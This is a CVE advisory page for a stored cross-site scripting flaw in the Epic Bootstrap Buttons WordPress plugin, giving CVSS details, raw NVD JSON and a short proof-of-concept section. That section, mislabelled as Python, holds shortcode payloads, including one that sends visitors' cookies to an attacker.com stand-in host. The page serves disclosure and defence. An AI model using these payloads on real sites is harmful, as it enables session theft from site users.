Security Vulnerability Report
中文
CVE-2025-8776 CVSS 6.4 MEDIUM

CVE-2025-8776

Published: 2025-10-03 12:15:45
Last Modified: 2026-04-15 00:35:42

Description

The Epic Bootstrap Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘icol’ parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Epic Bootstrap Buttons Plugin <= 1.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2025-8776: Stored XSS in Epic Bootstrap Buttons WordPress Plugin The 'icol' parameter in the shortcode does not sanitize user input, allowing arbitrary JavaScript injection. --> <!-- Step 1: Attacker (Contributor+) creates a new post or page --> <!-- Step 2: Attacker inserts the following malicious shortcode in the content --> [epicbtn label="Click Me" icol='"><img src=x onerror=alert(document.cookie)>' link="https://example.com"] <!-- Alternative payload using script tag --> [epicbtn label="Visit" icol='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>' link="#"] <!-- Step 3: Save/Publish the post --> <!-- Step 4: When any user (including admin) views the post, the XSS payload executes --> <!-- For testing in a controlled environment, use a simple alert payload: --> [epicbtn label="Test" icol='" onmouseover="alert(\'XSS\')"' link="#"]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-8776", "sourceIdentifier": "[email protected]", "published": "2025-10-03T12:15:45.167", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Epic Bootstrap Buttons plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘icol’ parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.svn.wordpress.org/epic-bootstrap-buttons/trunk/epicboot.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/epic-bootstrap-buttons/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/91ddc368-bfe5-4581-aa99-ac9f4bcf9da4?source=cve", "source": "[email protected]"}]}}